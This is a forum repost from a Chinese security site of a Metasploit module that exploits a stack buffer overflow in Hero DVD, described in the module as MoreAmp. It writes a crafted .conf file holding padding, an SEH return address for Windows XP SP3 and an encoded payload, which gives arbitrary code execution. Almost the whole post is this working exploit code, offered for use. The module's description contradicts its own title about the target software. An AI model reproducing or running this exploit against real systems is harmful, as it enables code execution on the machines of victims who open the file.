首页
社区
课程
招聘
[转帖]HERO dvd缓冲溢出漏洞
2010-7-20 22:23 3047

[转帖]HERO dvd缓冲溢出漏洞

2010-7-20 22:23
3047
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
  
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
  
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Hero DVD Remote Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in 3.0.8 MoreAmp Beta
            By creating a specially crafted .conf file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 'MadjiX <Dz8@HotmaiL[DoT]CoM>',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', 'N/A' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14257/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 750,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x58324879} ], # 0x58324879 from msg723.acm  
                ],
            'Privileged' => false,
            'DisclosureDate'  => '19-07-2010',
            'DefaultTarget' => 0))
  
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.conf']),
            ], self.class)
    end
  
  
    def exploit
  
        sploit = "Redirect permanent /sploit http://"
        sploit << rand_text_alphanumeric(128)
        sploit << [target.ret].pack('V')
        sploit << "B" * 24
        sploit << payload.encoded
  
        maffile = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(maffile)
  
    end
  
end
每日两帖,只为看雪!
每日浏览,只为实践!
每日回帖,只为多学!
每日交流,只为交友!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回